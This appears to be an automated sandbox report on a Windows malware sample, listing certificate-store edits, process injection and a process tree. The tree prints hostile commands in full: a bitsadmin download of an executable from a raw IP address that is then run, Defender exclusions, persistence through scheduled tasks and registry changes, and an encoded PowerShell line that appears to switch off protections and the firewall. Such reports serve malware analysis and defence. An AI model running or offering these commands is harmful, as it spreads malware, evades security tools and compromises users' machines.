Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800001900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	EEF4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	EEF4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	EEF4.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C	EEF4.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

484 PING.EXE

pid	process
484	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe

pid	process
2220	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
2220	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028
3028

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3028
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe24D9.exe

pid process

2220 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
924 24D9.exe

pid	process
3028

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

3F38.exeWerFault.exeEEF4.exeAppLaunch.exeWerFault.execonhost.exe

description	pid	process
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeDebugPrivilege	376	3F38.exe
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeRestorePrivilege	836	WerFault.exe
Token: SeBackupPrivilege	836	WerFault.exe
Token: SeDebugPrivilege	836	WerFault.exe
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeDebugPrivilege	3236	EEF4.exe
Token: SeDebugPrivilege	3528	AppLaunch.exe
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeDebugPrivilege	2240	WerFault.exe
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeDebugPrivilege	1800	conhost.exe
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028
Token: SeShutdownPrivilege	3028
Token: SeCreatePagefilePrivilege	3028

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe24D9.exe3F38.exeD0AD.exeFE47.execmd.execmd.exeAppLaunch.exe

description	pid	process	target process
PID 3168 wrote to memory of 2220	3168	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
PID 3168 wrote to memory of 2220	3168	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
PID 3168 wrote to memory of 2220	3168	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
PID 3168 wrote to memory of 2220	3168	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
PID 3168 wrote to memory of 2220	3168	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
PID 3168 wrote to memory of 2220	3168	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe	021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
PID 3028 wrote to memory of 4060	3028		24D9.exe
PID 3028 wrote to memory of 4060	3028		24D9.exe
PID 3028 wrote to memory of 4060	3028		24D9.exe
PID 4060 wrote to memory of 924	4060	24D9.exe	24D9.exe
PID 4060 wrote to memory of 924	4060	24D9.exe	24D9.exe
PID 4060 wrote to memory of 924	4060	24D9.exe	24D9.exe
PID 4060 wrote to memory of 924	4060	24D9.exe	24D9.exe
PID 4060 wrote to memory of 924	4060	24D9.exe	24D9.exe
PID 4060 wrote to memory of 924	4060	24D9.exe	24D9.exe
PID 3028 wrote to memory of 2580	3028		3F38.exe
PID 3028 wrote to memory of 2580	3028		3F38.exe
PID 3028 wrote to memory of 2580	3028		3F38.exe
PID 2580 wrote to memory of 1140	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 1140	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 1140	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 1140	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 64	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 64	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 64	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 64	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 376	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 376	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 376	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 376	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 376	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 376	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 376	2580	3F38.exe	3F38.exe
PID 2580 wrote to memory of 376	2580	3F38.exe	3F38.exe
PID 3028 wrote to memory of 1448	3028		BC1A.exe
PID 3028 wrote to memory of 1448	3028		BC1A.exe
PID 3028 wrote to memory of 1448	3028		BC1A.exe
PID 3028 wrote to memory of 1708	3028		D0AD.exe
PID 3028 wrote to memory of 1708	3028		D0AD.exe
PID 3028 wrote to memory of 1708	3028		D0AD.exe
PID 1708 wrote to memory of 3528	1708	D0AD.exe	AppLaunch.exe
PID 1708 wrote to memory of 3528	1708	D0AD.exe	AppLaunch.exe
PID 1708 wrote to memory of 3528	1708	D0AD.exe	AppLaunch.exe
PID 1708 wrote to memory of 3528	1708	D0AD.exe	AppLaunch.exe
PID 1708 wrote to memory of 3528	1708	D0AD.exe	AppLaunch.exe
PID 3028 wrote to memory of 3236	3028		EEF4.exe
PID 3028 wrote to memory of 3236	3028		EEF4.exe
PID 3028 wrote to memory of 3236	3028		EEF4.exe
PID 3028 wrote to memory of 3376	3028		FE47.exe
PID 3028 wrote to memory of 3376	3028		FE47.exe
PID 3028 wrote to memory of 3376	3028		FE47.exe
PID 3376 wrote to memory of 3692	3376	FE47.exe	cmd.exe
PID 3376 wrote to memory of 3692	3376	FE47.exe	cmd.exe
PID 3376 wrote to memory of 3692	3376	FE47.exe	cmd.exe
PID 3376 wrote to memory of 2320	3376	FE47.exe	cmd.exe
PID 3376 wrote to memory of 2320	3376	FE47.exe	cmd.exe
PID 3376 wrote to memory of 2320	3376	FE47.exe	cmd.exe
PID 3692 wrote to memory of 2148	3692	cmd.exe	bitsadmin.exe
PID 3692 wrote to memory of 2148	3692	cmd.exe	bitsadmin.exe
PID 3692 wrote to memory of 2148	3692	cmd.exe	bitsadmin.exe
PID 2320 wrote to memory of 2008	2320	cmd.exe	bitsadmin.exe
PID 2320 wrote to memory of 2008	2320	cmd.exe	bitsadmin.exe
PID 2320 wrote to memory of 2008	2320	cmd.exe	bitsadmin.exe
PID 3528 wrote to memory of 3340	3528	AppLaunch.exe	fl.exe

C:\Users\Admin\AppData\Local\Temp\021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
"C:\Users\Admin\AppData\Local\Temp\021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3168

C:\Users\Admin\AppData\Local\Temp\021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
"C:\Users\Admin\AppData\Local\Temp\021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe"
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2220

C:\Users\Admin\AppData\Local\Temp\24D9.exe
C:\Users\Admin\AppData\Local\Temp\24D9.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4060

C:\Users\Admin\AppData\Local\Temp\24D9.exe
C:\Users\Admin\AppData\Local\Temp\24D9.exe
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:924

C:\Users\Admin\AppData\Local\Temp\3F38.exe
C:\Users\Admin\AppData\Local\Temp\3F38.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2580

C:\Users\Admin\AppData\Local\Temp\3F38.exe
C:\Users\Admin\AppData\Local\Temp\3F38.exe
2⤵
- Executes dropped EXE
PID:1140

C:\Users\Admin\AppData\Local\Temp\3F38.exe
C:\Users\Admin\AppData\Local\Temp\3F38.exe
2⤵
- Executes dropped EXE
PID:64

C:\Users\Admin\AppData\Local\Temp\3F38.exe
C:\Users\Admin\AppData\Local\Temp\3F38.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:376

C:\Users\Admin\AppData\Local\Temp\BC1A.exe
C:\Users\Admin\AppData\Local\Temp\BC1A.exe
1⤵
- Executes dropped EXE
PID:1448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1448 -s 876
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2240

C:\Users\Admin\AppData\Local\Temp\D0AD.exe
C:\Users\Admin\AppData\Local\Temp\D0AD.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3528

C:\Users\Admin\AppData\Local\Temp\fl.exe
"C:\Users\Admin\AppData\Local\Temp\fl.exe"
3⤵
- Executes dropped EXE
PID:3340

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fl.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1800

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Roaming\services32.exe"
5⤵
PID:2176

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Roaming\services32.exe"
6⤵
- Creates scheduled task(s)
PID:832

C:\Windows\System32\cmd.exe
"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services32.exe"
5⤵
PID:1420

C:\Users\Admin\AppData\Roaming\services32.exe
C:\Users\Admin\AppData\Roaming\services32.exe
6⤵
- Executes dropped EXE
PID:2088

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Roaming\services32.exe"
7⤵
PID:1712

C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
8⤵
- Executes dropped EXE
PID:648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 216
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:836

C:\Users\Admin\AppData\Local\Temp\EEF4.exe
C:\Users\Admin\AppData\Local\Temp\EEF4.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:3236

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\EEF4.exe"
2⤵
PID:1008

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\DtwQfNsp" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6D09.tmp"
2⤵
- Creates scheduled task(s)
PID:3912

C:\Users\Admin\AppData\Local\Temp\EEF4.exe
"C:\Users\Admin\AppData\Local\Temp\EEF4.exe"
2⤵
- Executes dropped EXE
PID:3932

C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
"C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2212

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"
4⤵
PID:3048

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\DtwQfNsp" /XML "C:\Users\Admin\AppData\Local\Temp\tmpEB90.tmp"
4⤵
- Creates scheduled task(s)
PID:3292

C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
"C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"
4⤵
- Executes dropped EXE
PID:2216

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\
5⤵
PID:1712

C:\Windows\SysWOW64\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\
6⤵
PID:3828

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe" /F
5⤵
- Creates scheduled task(s)
PID:3940

C:\Users\Admin\AppData\Local\Temp\FE47.exe
C:\Users\Admin\AppData\Local\Temp\FE47.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3376

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c bitsadmin /transfer myjob /download /priority high http://165.227.39.70/hoetnaca/exps/Bt.mp4 "%temp%\123.exe" && "%temp%\123.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:3692

C:\Windows\SysWOW64\bitsadmin.exe
bitsadmin /transfer myjob /download /priority high http://165.227.39.70/hoetnaca/exps/Bt.mp4 "C:\Users\Admin\AppData\Local\Temp\123.exe"
3⤵
- Download via BitsAdmin
PID:2148

C:\Users\Admin\AppData\Local\Temp\123.exe
"C:\Users\Admin\AppData\Local\Temp\123.exe"
3⤵
- Checks BIOS information in registry
PID:4068

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
4⤵
PID:2476

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
